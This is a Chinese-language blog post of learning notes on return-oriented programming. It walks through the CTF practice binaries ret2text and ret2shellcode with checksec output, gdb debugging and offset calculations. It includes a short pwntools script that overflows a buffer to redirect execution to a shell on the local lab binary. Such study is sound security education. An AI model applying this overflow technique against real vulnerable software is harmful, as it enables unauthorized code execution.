ROP-learn

学点技术 没坏处

什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章走进栈溢出,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

Why ROP

探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是一种

ret2text

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop/hackme]
└─$ checksec ret2text
[*] '/home/kali/Desktop/hackme/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

image-20220623212508961

gets()处下断点

image-20220623214146561

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下

分析

查看一下 registers

image-20220623222942580

ESP为0xffffd430 其中存放的内容为0xffffd44c 即输入的内容s的地址为ESP+0x1c= 0xffffd44c 而EBP为0xffffd4b8,则s到EBP的偏移为|0xffffd4b8- 0xffffd44c|=6c,所以s相对与返回地址的偏移为0x6c+4=0x70

直接 n 进入 main+107 输入一大串 1

image-20220623224501214

可以发现EAX地址处确实保存的是s(数据换成1),且|EAX-ESP|==1c,即说明s是相对于ESP偏移的;但|EAX-EBP|==6c,和IDA给出的64h有差别,由此可知IDA给出的相对于ESP的偏移是正确的、但相对于EBP的偏移是有误差的,这就是之前说的IDA分析给出的偏移量并不那么可信。

使用GDB pattern字符串溢出计算偏移量

image-20220623225554909

然后就是计算一下偏移量

image-20220623225817052

得出s与函数返回地址的偏移为112即0x70。

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

ret2shellcode

checksec 一下

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Desktop/hackme]
└─$ checksec ret2shellcode
[*] '/home/kali/Desktop/hackme/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

啥都没开?扔IDA里看一下

1
2
3
┌──(kali㉿kali)-[~/Desktop/hackme]
└─$ file ret2shellcode
ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped
image-20220622004109224

下断点调试一下

image-20220622012021422 image-20220622012505913

卡了好久

1
2
3
4
5
6
gef➤  vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x8048000 0x8049000 0x000000 r-x /home/kali/Desktop/hackme/ret2shellcode
0x8049000 0x804a000 0x000000 r-- /home/kali/Desktop/hackme/ret2shellcode
0x804a000 0x804b000 0x001000 rw- /home/kali/Desktop/hackme/ret2shellcode

不知道为什么 。。。就是和wiki上的结果不一样、、、

不知道是不是什么libc的问题 应该也不对?

但是确实能打的通。。。不懂

reference

基本ROP讲解 - FreeBuf网络安全行业门户

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/2.3.1_gdb.html